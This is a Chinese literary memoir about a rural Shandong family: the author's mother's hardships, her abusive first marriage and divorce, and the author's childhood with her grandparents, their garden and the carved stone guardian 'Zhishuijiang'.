《春季到来绿满窗》 1. 止水将 1.玉梅 玉梅生于1958年,59年自然灾害,玉梅本来刚学会走路的,因为挨饿,又不会走路了。村里饿死的人一个一个的往外抬。所幸玉梅活了下来。玉梅两岁的时候,娘给她扎着两个羊角辫,让她在麦场里看麦子。鸡来了,她挪着步子对着鸡喊:“噢哧!噢哧!” 玉梅的娘,在生了两个男孩儿连连夭折以后,就接二连三地只生女孩儿了。玉梅的娘一共生了六个女孩儿。到了小七儿的时候,才是个男孩儿。 玉梅在娘家排行老三。前头是大姐、二姐,后头是四妹妹、五妹妹、六妹妹,和兄弟小七。四妹妹生来就嘴歪眼斜,脑子不太中用。玉梅娘家没有男劳力,姊妹几个跟着她爹干活儿。玉梅的四妹妹在跟着她爹拉胶车子的时候,挣断了绳子,一头栽进了路边的山芋窖子里,摔断了腰。从那以后,这个苦命的四妹妹又变得弯腰驼背了。 玉梅考初中的时候,庄上正因为□□闹派别。姓周的跟姓丁的是两派儿。大队书记丁向奎就不推荐她去上学,说是因为她二大爷参加过还乡团。 “丁向奎非说俺二大爷参加过还乡团。说我成分不好。哪的事儿哎!俺二爷爷是走过草地的老红军,俺大大爷当过儿童团的团长。丁向奎是有意使坏的。”玉梅懊恼地说,玉梅这辈子逢人都这样说。 玉梅恼地卧床不起好几天。她后来跟姊妹几个一块儿去生产队里干活,见了丁向奎,喊他“向奎叔”。丁向奎于心不忍,笑着跟她说:“三姐,你还想上学吗?你要是还想上学,我再到公社里推荐你。”当时玉梅已然退了学,她跟丁向奎说:“俺不去上学了,向奎叔。” 玉梅跟几个姊妹团一块儿在生产队里干活儿,还是爱说爱笑。她这辈子最爱的就是文化。人家有什么歌儿啊戏的,她都跟人家学了来,记在一个自己拿纸裁的小本本儿上。 玉梅的爹娘请了醋老师来她家教酿醋。醋酿好了,她爹让她推着胶车子到人家庄上敲着梆子卖醋。一个大姑娘敲梆子卖醋,玉梅觉得很丢人。没人买醋的时候,她就把胶车子放在一边,自己跑到人家家门前跟人家说话。等到有人来买醋了,她再过去给人家打醋。 玉梅长大了,没有好看的衣裳,每天穿着老蓝布的衣裳。打扮地跟个老嫲嫲一样。冬天,生产队里没有多少活儿,爹就让她背着粪箕子拾粪。拾粪也能计公分。一个大闺女天天背着粪箕子拾粪,这比卖醋还丢人。晚上,玉梅跟二姐一起点起煤油灯编毛瓮,娘给她们买了编毛翁的稻草、芦花、麻绳,玉梅跟二姐编了毛翁,爹拿到北山里集上去卖,卖了钱,给玉梅和二姐各买了一条裤子,两条一模一样裤子。 有一天,二姐的裤子找不到了,非说玉梅的那条裤子是她的。玉梅赌咒发誓,说那条裤子是自己的,上头还有她来月经没洗干净留下的黄印印。可是二姐非说玉梅的那条裤子是她的。那是玉梅仅有的一条不带补丁的裤子,生生被二姐夺了去。玉梅很伤心。玉梅赌了咒,谁要是冤枉别人,做了亏心事,等她出了嫁,生了孩子,就死她的孩子。 二姐结婚了,她的孩子接二连三地没有保住。玉梅很心疼二姐,她担心是自己的咒语应了验,害得二姐被老天爷惩罚。二姐长得不景气,噘嘴头 ,小小的黄黄的脸,眯缝眼。二姐夫长得很秀气,是个老实人,还是村里为数不多的高中生,因为家里穷,找不到媳妇,娶了玉梅的二姐,不情不愿。结婚的前一天,二姐夫蒙着被子哭了整整一晚。 玉梅的大姐玉颜待嫁的时候突然得了神经症,一辈子只能做个黄花大闺女,不能结婚。 她娘心疼她,不让她去地里干活,让她在家里烙煎饼,做饭。让玉梅跟小姊妹几个一块儿出去耪地、种地。大姐个子高大,仗着她娘给她撑腰,就装疯卖傻。她看见哪个不顺眼,说打就打,说骂就骂,几个小姊妹都受她的欺负。 一个夏天的傍晚,五妹妹从山上干完了活儿回到家,刚从河边洗了脚出来,大姐从背后把她拦腰抱住,要打她。五妹妹脱下凉鞋,甩起凉鞋就朝背后的大姐打去,大姐那回吃了亏。后来,六妹妹跟五妹妹都开始陆陆续续地向大姐宣战,跟大姐对着打。 一天夜里,玉颜睡梦中梦见一个神仙拿着一个算盘,朝她扔过去,跟她说:“大姐!接着!”玉颜跳起来一把把算盘抓在手里。等她醒来以后,让她娘给她买了算盘,她就真的成了一个仙家附体,能唱会念,能掐会算的神仙姐姐了。 玉颜每次“下神”的时候,又唱又念,一句句,一段段,如泣如诉,入情入理。这当然是“仙家”附体。这些“仙家”,有姓黄的,有姓白的,姓黄的就是黄鼠狼精,姓白的就是白蛇精。她们先是折磨她,然后成为她的师父,教给她“仙法”,让她知道过去未来,可以为其他生病的人占课、算命。 玉颜给人“治病”的名声传扬了出去,从山东传到了南乡。南乡小鲁村的梁三婶子因为生病来山东找玉兰看病,一来二去,她们一家跟玉颜一家结下了深厚的友谊。 玉梅长大了。玉梅长得好看。一家有女百家求。上门说亲的媒人踏破了她娘家的门。玉梅的婚事,自己作不得主,全听她娘和她大姐的。娘同意的亲事,大姐还要再去打听。大姐对帮小妹打听亲事这件事非常上心。每次大姐一打听回来,总会说出男方的种种不好,于是,这门亲事,娘也作罢,大姐也作罢,玉梅自己也只能作罢。 于潇同样也是媒人介绍的。这次,大姐也是骑着洋车子去于村走了一趟,侦查了男方种种不好。不过,玉梅下了决心要离开娘家。那时,玉梅已经被耽误到二十七岁了。在当时的农村来说,算是老姑娘了。她娘也就勉强同意了。 玉梅二月里嫁到了于家。玉梅出嫁那天,娘家按风俗,给她在陪嫁的尿罐子里装了喜果子,一对木柜子里也装了喜果子。 于潇会拳脚,于潇结婚,家里很热闹,光是于潇的仁兄弟就来了十几桌。当晚,人家闹洞房,于潇的大哥家的大嫂子,也来问新媳妇要喜果子吃。 玉梅打窗户给老大伯嫂子递出去一包喜果子。嫂子接过去打开纸包,看了看,又把喜果子扔给了玉梅:“哎哟,我以为新媳妇这么舍得,还给我一包喜果子!闹了半天,是半包啊。还有新媳妇娘家拿半包喜果子,来充一整包的?!” 玉梅心知,是她娘小气,装柜的时候,把每包喜果子都抽出了一些。刚嫁进来,在老大伯嫂子面前,玉梅不甘示弱。玉梅就跟她说:“你不吃拉倒!我正不想给你吃呢!” 大伯嫂子听了玉梅的话,登时恼火了:“你就是小气!你就是不想给人家吃的!你就是想留着给自己吃的!” 玉梅也不甘示弱,隔着窗户跟她吵:“谁都不吃!都给你吃!把你吃地胀胀地,好来找我的事儿!” 大伯嫂子骂道:“把你撑胀!把你撑死!” “把你撑死!把你撑死!”玉梅隔着窗户跟她对骂。 玉梅的婆婆赶来了。 “哟!才刚到俺家就跟恁嫂子吵架了?这以后还有俺的好日子过吗?” 这以后,果然没有好日子过。玉梅的婆婆天天跟玉梅吵架。一吵架,玉梅的婆婆就离家出走,躲到几里外的闺女家里去。于潇这时候就打着玉梅,让她去找。 于潇用拳头对着玉梅的后背狠狠地捣:“娘走了,你去找去!你去找去!”玉梅被于潇的老拳推着往前走,直走到于村家前。于村家前是一片河沿。河沿里,一块块青白的石头,像一只只绵羊,卧伏在白花花的河水里。河水“哗哗”作响,漫过石碑塔就的桥板,从西向东流淌。 在于村家前,他们遇到了于潇的二哥。二哥上来就凶于潇:“于潇!你做什么的!咱娘她也不是省油的灯,你不能这样打他婶子!” “我想打就打!她看着我跟狗儿样儿!我让她往东,她不敢往西!我让她站着她不敢坐着!” 玉梅很爱于潇,但是于潇凡事都听他娘的。动不动对她拳脚相加。 有时候,两个人正睡在被窝里呢。 玉梅问于潇:“你怎么什么都听恁娘的的?你以后还打我吧?” “我以后照样打你!我想打就打!”于潇说。 玉梅凑过去跟于潇说:“你打我看看?” “看看就看看!”于潇说着,“砰砰”!玉梅又吃了于潇两个皮锤。 玉梅知道这日子没法过,下定决心要跟于潇离婚。在结婚两个月的时候,玉梅自己悄悄地离开了于村,开始了东躲西藏的日子。 于潇到处找玉梅,玉梅再也不回去。玉梅的娘胆小怕事,怕于潇来娘家报复,杀光她们一家子,宣称跟玉梅断了关系,不认玉梅这个闺女。玉梅就在亲戚家躲着。 玉梅这回去了北荆堂她四姨家。她四姨夫是北荆堂的李保杰。四姨带着她去庄西头石塱里刨山芋。玉梅跟四姨走到一户人家屋后头,四姨停下来不走了。四姨盯着那家的宅子直打转儿:“你看人家这宅子!多好!前后荆堂没有人家这样的!人家这是六间屋的地势,宽宽敞敞的!”玉梅纳闷,四姨怎么不走的,净夸人家的宅子干什么。玉梅就催四姨娘:“四姨,咱赶紧走吧,咱还得刨山芋呢。”四姨说:“不急!不急!” 这天,玉梅和四姨又路过那家人家的时候,看到了一个年轻的小伙子,小伙子忠厚老实,眉清目秀。四姨对玉梅说:“他叫家军。你看这个人好吧。恁要是各自看得上,四姨给恁做个媒。”两个人听闻此言都羞地脸红了。家军想,人家大姑娘恁么好,能看得上我?玉梅想,人家小青年这么好,能看得上我?这以后,经四姨娘说合,玉梅和家军的亲事还真就成了。 玉梅的娘虽然对外宣称不认玉梅这个闺女,但是玉梅的姊妹们还会偷偷地跟她联系。玉梅的大姐算出来家军寿限短,让玉梅不要跟他。玉梅不听她的,非跟家军不肯。 玉梅去跟于潇离婚。于潇当庭要求玉梅跟他回去。 “我向法官请求,我要跟俺家属和好,俺两个回家好好过日子。”于潇说。 玉梅知道再跟于潇回去定是凶多吉少,坚决跟于潇离婚。 她跟法官说:“我坚决不跟于潇回去!他这是跟他娘一块儿扣好的点儿,想把我骗回去,让我挨顿苦的!他娘跟着挑拨,于潇光听他娘的,天天毒打我虐待我!我坚决要跟他打开离婚!各走各的!” 玉梅前前后后去了几次法庭,才终于把婚给离掉。 玉梅的肚子里早就有了孩子,她本来是不想要这个孩子的。她想去医院里找她认识的妇产科的大姐,把这个孩子给打掉。可是,她去了几次,那大姐也不在。她就决定把这个孩子给生下来。 玉梅四月份嫁到了家军家,十一月份生下了一个女娃。 爷爷很喜欢那个女娃娃,抱着她到处跟人说:“谁说不是俺家的?你看这鼻子,多像她大姑啊!” 我在九岁之前,没见过自己的姥娘、姥爷,不知道自己姥娘家在哪。 于村跟我没有关系,于潇跟我没有关系。 玉梅是我妈妈,家军是我爸爸。我在荆堂长大。说起来,我还应该感谢当年那个妇产科的大姨呢。 2.止水将 我家在荆堂,我姓宋,我爷爷叫宋金平。姓宋的是在我老爷爷那一辈,因为发大水迁过来的。姓宋的老家原来在会宝岭水库西北角上,用我爷爷的话说,是在“水库里”,就是在水库更西的地方。在荆堂,家家户户的房屋、院墙、大门楼子,都是用石头盖的,大街上是比别的庄都要干净的黄土路,路两边儿躺着一堆石头,那是人家准备盖屋用的。路上也有咯咯噔噔的几块石头。这些石头,有的有拳头那么大,有的有鸡蛋那么大,有的有南瓜那么大。一旦你需要,你可以随时捡起一块石头,来擦你鞋底上的烂泥或是狗屎,也可以抓起一块石头来,朝着一个人或是一条狗掷过去。南家前大奶奶家的建国四叔喝醉了酒,常常两手高高地举着一块大石头,一路歪歪扭扭地在大街上边骂边走。我喜欢这样的石头。我看见石头磊的院墙就觉得亲切,我看见红色、灰色的砖头和白色的石灰就觉得不干净。那不是我老家的味道,更不是我老家的颜色。 我老爷爷还在的时候,荆堂经常发大水。发大水的时候,水里头有棒头、棍子,橱柜,还有花枝招展的站在橱柜上喊着救命的小媳妇,那当然是妖精了。 水中还有闪闪发光的蒺藜棍子。有人贪财,跳进水里,骑上棍子,去打捞这意外之财。那棍子就吸住那人不放开。即使搭救及时,把那人从蒺藜棍子上拽下来,那人大腿上的肉也会被剥掉一块。这棍子当然是妖精幻化的。有一对兄弟俩去水里打捞财务。哥哥就被这样一个妖精幻化的棍子给困住了。他眼泪哗哗地对岸上的弟弟说:“兄弟,我不能回去孝顺咱爹和娘了,咱爹娘以后就指望你了!”那妖怪听闻此言,知道这人是个孝子,就猛地一甩身,把哥哥给甩上了岸。那哥哥除了大腿上血肉的伤残,并没有丢了性命。 故事都是听老人们说起的,荆堂什么时候发的大水,我并不曾亲见。但是老爷爷亲手刻就的止水将,确实是实实在在的站在爷爷家的天井里。 止水将是可以止水的天将,是我老爷爷亲手雕刻的,用的是一整块的青石。当时,大水从庄东涌近,就要漫到庄里了。危急之际,我老爷爷亲手刻就了这样一位止水将,把他立在庄东头,那大水就真的没有再漫上来。止水将后来被我爷爷用小推车推回家,放在天井里,当做他一手侍弄的小花园的外墙。我看到他的时候,他也就比我高一点吧。那时,止水将已经裂开了缝,爷爷用一圈圈的铁丝箍着,那一圈圈的铁丝已经生锈发黄。我站在止水将跟前仔细打量,那是一块半人高的石头,两面都被打磨地平平整整。止水将就站在那块石头上,他是平面的,并不是立体的。那是老爷爷用錾在大石头上“画”出来的一个人形,那人戴着帽子,像是老农的斗笠。止水将手上拿着一把长长的剑,剑锋斜下去指向地上,像是一个天将在责令水怪速速退去,这就是止水将的寓意。 爷爷常说人过留名,雁过留声。止水将曾为荆堂做出了贡献,而今却没几个人知道他的存在和他的名字。我爷爷家也为荆堂做出过贡献,也没几个人记得这些。只是村子东面曾经放置止水将的地方,那片土地,多了一个名字,我们全家人叫他家东“止水将”。 去家东“止水将”的小路,的确是一点点地往下降。那条路,因为多少次大水冲刷的缘故,露出了一段一段像是脊骨一样的青石。 爷爷在“止水将”有一片自家开垦的菜园。这片菜园的一方土地,就那么恰巧地生在一大片青石板上。爷爷用很多石块,在菜园四周垒了一道篱笆墙。菜园外,是大片的青石板。小孩可以在上面玩耍,大人可以在上面晒庄稼。夏天晒小麦,秋天晒地瓜干子、晒秋霉豆皮子。爷爷管这片菜园叫“小园”。 止水将是我的乐园。也是爷爷经常出现的地方。如果一时找不到爷爷,那就去家东止水将看看,看看他在不在小园里。爷爷一年四季侍弄着这个小园,在里面剜地、浇水、种菜。一垄一垄的萝卜、白菜、韭菜,菜花引来“嗡嗡嘤嘤”的蝴蝶和蜜蜂。蝴蝶以白色和黑色的居多。成双成对的白色的蝴蝶是梁山伯和祝英台,黑色的是又坏又倒霉的财主马文才。小时候,因为爷爷讲的这个故事,我常常坐在田埂上发呆,看看地里飞舞的蝴蝶,再想象着祝英台,她当时是怎样纵身一跃,跳进了梁兄的坟的。梁兄的坟里又是怎样的。 爷爷的小菜园西边,是姓张的大爷爷家的小桃园。一二十棵桃树生长在一墩墩的青石上。那青石头,像是一头头大象,在它们的背上、耳朵眼儿里、屁股上,栽种上一棵棵的小桃树,就成了一个个天然的巨型盆栽。 春天,爷爷在小菜园里侍候他的韭菜、胡萝卜,芫荽,修整起小石头垒起来的篱笆墙。我跑到旁边的小桃园里玩。小桃园里,一头头石头大象驮着开着粉色花朵的桃树。那桃树比我还要高,比我的腿还要粗。我迈开大步,从一头大象的背上跳到另一头大象的背上。小桃树的脖子上,粗粗的树皮裂开着,从树皮缝隙里流出了淡黄色、黄褐色、透明的桃胶,像是受了伤。这些桃胶,有的已经干了,像是黄色的、白色的塑料做的冰糖,有的还是软嘟嘟的,像是小孩儿的鼻涕。 小桃林里除了张大爷爷来掐枝、摘桃儿,很少有小孩儿来玩。我爷爷有时煮了豆角、霉豆,就用提篮子挎了来,把豆角、霉豆皮子一小堆、一小堆地倒在石头背上。我再来一个儿个儿地把那些霉豆皮子摆开。黑皮白眼儿的霉豆种子,跟一颗扣子似的,时不时从煮烂了的霉豆皮子里滚出来,石头背上散发着一股子霉豆皮子的香味儿。说实话,我并不喜欢这些霉豆皮子。那时候,我还不知道稀罕它,我成天只想着吃肉。 夏天,桃子成熟的季节,张大爷爷弯腰弓背地,来小桃林看桃了。我爷爷跟张大爷爷处地好。张大爷爷摘下头一茬新桃,就把七八个带着红尖儿的鲜桃送给我爷爷,我爷爷拿回家来,给我吃:“吃吧!恁大爷爷给的。” 按老娄奶奶的话说,我爷爷最疼我了,把我当星星,连自己的儿女也没那么疼过,吃到嘴里的东西,见到我,也得吐出来给我吃。爷爷所生五子。大姑、二姑,后面是我爸爸,二叔早年跟我爸爸闯东北,就留在了那里,再也没有回来过。三叔在家里,没什么营生。三叔有时跟爷爷奶奶一起种地,有时跑出去,过好长一段时间才回来。他跟我爷爷处不来,爷俩儿相逢,像是仇人一样。三叔经常凶我爷爷,甚至揍我爷爷。大姑逢年过节地来看看我奶奶,二姑从来不来。 小时候,每次喊肚子疼,爷爷就给我揉肚子,边揉肚子边念叨着:“肚子疼,找老营。老营不在家,找老八,老八拿出筷儿来,叨出屎蛋儿来。好了吗?好啦!” 在我还不会说话的时候,爷爷经常拽着我的胳膊玩。 “扯豆茝,拉豆茝,做豆腐,请奶奶,奶奶没在家,请恁姊妹仨,姊妹仨没裤子,摸喽摸喽肚子”。我的胳膊不幸被拽脱臼了,痛地我大哭不止。爷爷奶奶就把我哄哄,等我妈妈晚上干活回家,把我原封不动地还给我妈妈。我妈妈看到我缩着胳膊哭,就去抱我,谁知道大人一碰我的胳膊,我就哭地更厉害了。妈妈猜到我是掉膀子了,就跟我爸爸说:“家军,大省儿的膀子可能掉了。我听说,坦上集有接骨的。咱带着大省儿去接骨吧。” 我爸爸骑上自行车,连夜带着我去坦上集,找人给我接胳膊。那时候我才两三岁,隐约记得坐在爸爸的自行车后座上,走过黑漆漆的野外,穿过黑漆漆的人家的院墙,来到一个专门给人家接骨的老人家的大门前。我妈妈喊开门,跟老人家说了我的情况。 老人家摸摸我的胳膊,说:“小孩儿的膀子掉了,可怜!小孩儿得多疼啊!恁早不带来的?” 我妈妈说:“早我不知道,我光搁西岭上干活儿了。她爷爷奶奶带着的。我晚上干活儿回来,看见她缩着膀子哭,我才猜到她是掉膀子了。肯定是她爷爷拉着她‘扯豆茝拉豆茝’扯的。” 老人家说:“幸好现在来了。要是再耽误一夜,血就定了。那时候再来接的话,小孩就更受罪了”。 我妈妈说:“怪不得小孩儿哭地恁么厉害。老头儿老嫲嫲怕花钱,光知道哄、瞒,也不跟我说实话。我要是那样没头脑的,不知道把小孩儿带来看,小孩儿得多受多少罪啊。谢谢恁了,大夫。俺今天晚上来得匆忙,等俺以后有空了,俺跟俺丈夫一块儿,买点东西来庆礼恁。” 老大夫说:“天不早了,恁大人小孩儿也不容易。快回去吧。” 后来,我妈妈跟我爸爸一起,买了东西,又来到坦上集,来感谢那个给我接骨的老大夫。 我两岁的时候,跟着奶奶在西岭上玩儿,我抱着石头从西岭上滚了下来,碰地头破血流。我奶奶抱着我漫山遍野去找我妈妈,等找到了我妈妈,我奶奶把我交给我妈妈。我妈妈抱着我,到北荆堂的题茂老爷爷那里,花两毛钱,让题茂老爷爷把我的头给包上。题茂老爷爷给我包头的时候,我妈妈就在一旁看着。 “老嫲嫲!真是个铁公鸡!连两毛钱都舍不得!小孩儿头破了,你不能抱着来给包上嘛。非得抱着小孩儿漫山遍野地找我。等找到我了,都到什么时候了。小孩儿多受多少罪啊。” 题茂老爷爷也不吭声儿。题茂老爷爷是个赤脚医生,在北荆堂开了一个小诊所。说是小诊所,其实就是题茂老爷爷的家。小时候,我感冒发烧,我妈妈经常带我去他那里。是了,我爷爷奶奶的确从来没有带我去过。 小诊所里有一个炉子,炉子下头是一圈灰色的炉灰。炉灰堆里,扔着几个青霉素药瓶子。我妈妈带着我去扎针,就坐在那炉子旁边。我小时候就尿多,一去题茂老爷爷家,就围着那小炉子周边的炉灰尿尿,一会儿一泡,一会儿一泡,把那小炉子尿了一圈儿。 题茂老爷爷生着白净的瘦长脸儿,走起路来身子歪向一边,另一边的一条腿有点拖拉。他拖拉着一条腿去屋门后头高高的药架子上拿药,又拖拉着一条腿拿着一块纽扣大小的圆圆的淡绿色的小石头片儿,把那支药给敲碎。他不怎么吭声儿,只在嘴里时不时地“咳咳”两声,但是没见他吐过,整个人显得很干净。题茂老爷爷用针头“嗞”地一声把药水儿吸进去,再把针头扎进青霉素瓶子里,把药水推出来,跟青霉素混在一起,摇一摇,再把那些药水“嗞”地一声全部吸进来。他把那青霉素瓶子朝炉子这边一扔,仰起针头,把药水往上推推,就一瘸一拐地直奔我来了。我妈妈早就给我褪下裤子,露出了屁股,我娴熟地趴在我妈妈的膝盖上,闭上眼,咬着牙等着。 题茂老爷爷一生没有婚娶,过继了茂可爷爷家的大云姑来传承家业,大云姑在他的小诊所里跟着他学医。大云姑是茂可爷爷家里的一枝花,茂可爷爷家里还有二枝花,三枝花。茂可爷爷、茂可奶奶跟我们一家子处地很近,我爸爸经常找茂可爷爷剃头,我妈妈也经常带着我们去他家里玩。 我自小就经常伤风感冒,我爸爸常常在漫天飞舞的大雪中抱着我,去题茂老爷爷那里打针。我爸爸抱着我,我戴着粉红色带着帽耳朵的帽子,挂着长长的鼻涕。这就是我小时候的日常。久而久之,我连打针都不害怕了。我爸爸有时候带着我去萝村挺和医生的小诊所去打针。挺和医生给我屁股上打针的时候,我趴在爸爸的膝盖上,嘴里唱着:“东方红,太阳升”。惹得周围看病的人都称赞我。我因为打针很多,屁股两边那些针眼儿的地方是凹进去的,像是两个酒窝。我跟二姐她们在石塱里玩水的时候,二姐指着我屁股两边凹进去的地方跟人说:“恁看看,大省的腚帮子上还有酒窝呢!” 我大部分时间跟着爷爷奶奶。 我爷爷是个细石匠,同时还会点木匠活儿。我小时候,爷爷特地用一根树杈子给我做了一个小推车。小推车的两个“车把”就是那个树杈,还带着绿绿的树皮,有的地方树皮刮掉了,露着白茬。底下的车轮也是大大的、圆圆的滑轮儿,铁青铁青的,泛着白光。推起来特别带劲儿。一起玩的小孩子没少坐我的车。这个车,年轻,有力量,很少出故障,推人推物,都行。不像大伟的车,显得特别老气。大伟的车,车把是黄色的滑溜溜的木头,车轮子也是老气的,推起来发出“支棱棱”的声音,车中间的网兜座位也不像我的那样年轻有朝气。大伟家就住在我爷爷家西边。他的小推车不知道是他爸爸给他做的,还是他爷爷给他做的。反正比我的小推车差远了。 我爷爷还会做“竹拉子”。他把一段手指粗的竹子剁去两头,留下扎把长的一段儿,使其中空,形成竹筒,中间挖个洞。再用一段筷子粗细的竹子,不用剁去两头,留下一指长的一段儿,中间也挖个洞。最后弄一截大洋针那么粗细的竹子,头上留个疙瘩头,下面系上一段细绳,多绕几圈,从筷子粗细的竹子中间刚挖的洞里套进去,形成一个“钉子”形。然后把这个系着绳子的“钉子”形物件放到最大的那截竹筒里,把绳子从竹筒“肚子”里掏出来,拉动绳子,就会发出“格啦啦”“格啦啦”的声音了。 我常常跟着爷爷去家东地里干活,每次我喊困的时候,爷爷总会喊我:“省儿,快看!天上有道飞机杠来!”我抬头看看天,天上果然有两条长长的白白的云彩,是龙拉着犁头在天上耕地吧。我正抬头看飞机杠呢,爷爷笑着说:“天上有道飞机杠来,回腚门儿往上来!” 过年的时候,爷爷奶奶带着我去赶集买年货。张庄集上,就在张庄完小对面,路北旁,就是喝粥,喝豆腐脑子的地方。我们说的粥,是用大米和大豆磨的面儿烧的,白白的糊糊,很香。一碗粥盛上桌,上面撒上一层咸咸的炒熟了以后又煮透的豆子,喝一口,可香了。粥缸外头用一层厚厚的白布裹着,我看不到那粥缸是什么样儿,只知道里头有无穷无尽的粥。 比起喝粥,我更爱喝豆腐脑子。卖豆腐脑子的把豆腐脑子盛上来,再浇上一勺子红红的辣椒粉条汤,给我放到桌子上。我面向西,坐在桌子前头喝。喝豆腐脑儿子,要配油条的。我又如愿得到了一根油条。喝一口豆腐脑子,再咬上一口酥酥脆脆的油条,心里别提有多美了。 爷爷奶奶买完年货,总会给我买一枝大红花,那花是纸做的,红的花儿,绿的叶儿,很是喜庆。那时候,年集上有一种小孩子的玩具,叫“王母娘娘”。一根长长的木头杆子推着的小车上头,坐着一个用红纸折成的女人,穿着大红凤袍,戴着金凤冠。我把杆子往前推,“王母娘娘”的小车“当当当”地往前走,她老人家的凤袍凤冠就跟着忽闪忽闪地抖。 我很小的时候就跟着爷爷奶奶一起玩“憋死猫儿”了。在地上或是桌子上,用粉笔交叉画两道杠,然后三面围起来,不围的那一边,划上一个圆圈,作为“井”。两个人各自掐两截草棒子做“棋子”,分别放在两个角上,然后开始“走”棋,走”棋的时候围着画好的线走。如果被对方堵上了,走投无路,就只能“跳井”。 以石板为棋盘,以草棒子为棋子,北荆堂的老姑奶奶家常常聚集了一批下棋的。老姑奶奶就住在我家屋后头,她是我四姨姥娘的老婆婆。我四姨姥娘家就住在她的小屋东边。大冬天里,老姑奶奶用山草、麦秸和几根木头杆子,扎成一个门板,堵在门口,来挡住风寒。老姑奶奶的屋里烧着一盆木头碳火,炭火旁边的石板上,用粉笔画了一个棋盘。前来下棋谈天的老爷们儿,围坐一团,各自嘴里叼着烟袋。抱着孩子的妇女拱卫在旁边。烟雾缭绕,小屋里甚是温暖。 3.爷爷奶奶的家 爷爷奶奶的家特别利落、好看。东边的院墙那里,止水将站立的地方,是爷爷用一圈岩石砌成的小花园。石台子上是一缸缸、一盆盆的花草。 夏天,我和爷爷奶奶,还有三叔,就在石台子下头的阴凉里吃饭。我爷爷家的院子,地上都是干干净净的,黄土地上铺了一层薄薄的细沙土。我奶奶有时候泡了麦仁,到庄西头儿的石碾上轧了,回家烧南瓜麦仁儿饭。烧好的饭舀在一个洋铁盆子里,端上桌,放温凉了,我们一人一碗。麦仁饭里放了盐,喝起来又甜又咸。三叔就坐在我旁边,我们喝着麦仁饭,三叔好像也没那么可怕了。我爷爷跟我三叔好像也没那么水火不容了。 我最喜欢的是一大盆太阳花,因为我可以无限地亲近她。我摘叶、掐花,我爷爷是不怎么管的。太阳花的的叶子像是马齿苋的叶子,水灵灵,肉嘟嘟的。花儿盛开的时候,满盆都是玫红色、金黄色的娇娇嫩嫩的小花朵。摘下来一朵,轻轻挤一挤,掐出水来,放在另一个手的指甲上,指甲就被涂上了好看的颜色。这种花只要给她浇浇水就行了。夏天,盆里积水很多,游动着很多微小的钉子形的小水虫子。 小花园里有比我还要高的美人蕉,还有一棵只开几朵却很红很大的大丽花。那大丽花那么红,那么大,像是参军的战士胸前佩戴的大红花。那时候,我特别想偷偷地给自己折一朵大丽花,可是大丽花太少了,就开了那么一两朵,我要是摘了,我爷爷很快就会发现的。 一串红、鸡冠子花簇拥着大水缸开地正旺,可是我不稀罕。大水缸上,盖着高粱杆子穿成的圆圆的盖子,盖子上是一个葫芦剖开做的水瓢。这种水瓢家家户户都有,把葫芦剖开,晒干,其中的一半就是一个水瓢了。夏天,水缸里的水被太阳晒地温温的,我在大街上玩地渴了,跑回来抓起水瓢就舀水喝,大人们干活累了渴了,回到家,也端起水瓢“咕咚咕咚”喝上一瓢。他们自己要喝凉水,却非要说是跟我学的。我三叔边捧着水瓢喝水,边说:“我也跟大省学学,喝凉水!”可我知道,这水缸里头的水并不好喝,一是太温,不够冰凉过瘾,二是水瓢舀水,总有一股子晒干的葫芦味。我家和我爷爷家都没有水井,都是去别人家压水井里挑水。水缸里的水是源源不断的,不知道大人什么时候已经把水缸给灌满了。 爷爷堂屋门外,一边一棵粉红的月季花。月季花长地蓬蓬的,像两把撑开的大伞,枝干比我爸爸的手臂还要粗、个头比我爸爸还要高。我记得有一回,我奶奶在屋里跟一个老嫲嫲说话,我拿着筐子到屋外摘月季花。我摘了很多,打算摘了晒上,我其实也不知道晒干了能干什么。我也很喜欢月季花的果子。月季花的果子红彤彤的,圆圆的,像山楂一样,光光亮亮,暖暖的,让人看在眼里,爱在心里。我家屋门口的一棵月季花头上也生了这种黄黄的、圆圆的果子。这种果子,我无论在哪里见到了,总喜欢摘下来,彷佛那果子的身上有家的味道。我有时候把那果子掰开,里头是碎碎的毛茸茸的“馅子”,那应该是月季花的种子。 爷爷养了一缸橘子。冬天,橘子树结了大大的橘子,红红的,焦黄焦黄的。在我的记忆里好像只观赏过,从来没有吃到过。这橘子都被谁吃了呢?大年初一,老少爷们儿来拜年,总是围着那缸橘子看。爷爷向他们夸耀着他养的这缸桔子,跟他们说:“天冷,就把橘子搬进来,等打春了,再搬出去。”跟爷爷一个亲娘的二爷爷家的二裙姑来奶奶家拜年,她不跟我爷爷说话,只跟我奶奶搭腔。我奶奶很疼她,就拿买的橘子给她吃。二裙姑低声跟我奶奶说,她这两天不能吃凉的。我奶奶就在烧着松枝的碳火盆里,给她埋了两个橘子,把那橘子烧烧给她吃。 爷爷家东边是两口锅,一口是拉风箱烧茶烧饭的大锅,一口是用来炒菜的二锅。两口锅都是黄泥巴糊的,方方正正,干干净净。 依着西边的一小片院墙和堂屋的小半面南墙,用岩石磊了一个长方形的鸡窝,外面用蓝色的正方形的丝网围着。白天,七八只公鸡、母鸡赤着脚在它们的篮球场上交谈着。它们的脚下,是平平整整的黄泥地和一层若有若无的细沙。晚上,鸡上宿的时候,奶奶就去把那些鸡朝窝里赶,等它们都进了窝,奶奶再用一块石板把它们的窝门口儿给堵上。 院子西南角是青石做的茅房。蹲坑上头覆盖了一整块厚厚的青石板,中间一个小圆圈,脚踏在上面,非常干净。头顶是爷爷搭的丝瓜棚。夏天,丝瓜秧从东南角一直爬到南墙上。正南方是两扇黑色的里头带门栓的大门,门上站着的是持金锏的秦琼和尉迟恭。 爷爷堂屋里也是别有洞天。三间房,正中间靠山墙是一条黑色的雕刻着花纹的条几,爷爷的人参酒,泡在盐水瓶子里。人参不知是在酒里泡发的缘故,还是在酒力下又生长了,一个个像光着屁股的胖娃娃,舒展着一条条长长的白白的根须。条几上,有爷爷收集的不同名目的酒瓶子,有一个香炉,和一个雕刻着麒麟的木牌。 条几东边是一个四条腿儿的灰黑色的橱柜,把里间和外间隔开。里间是爷爷奶奶的床铺,铺上是老蓝粗布的被面的被子。橱柜里是油盐酱醋。爷爷家吃荤油。炼好的猪油放在一个圆圆的有着小巧的脖颈子的黑色釉质的坛子里,猪油沉淀下来像白色的玉。吃油的时候,用一把小巧的带着细长的铁柄的小铁勺子挖一小勺荤油放进锅里。爷爷的橱柜里散发着日久年深的陈味儿,里面还有什么我不太记得了,这坛荤油是我记得最清楚也是最为惦记的。用煎饼卷一勺荤油,再放进去几根脆疙瘩咸菜,这样吃简直太好吃了。 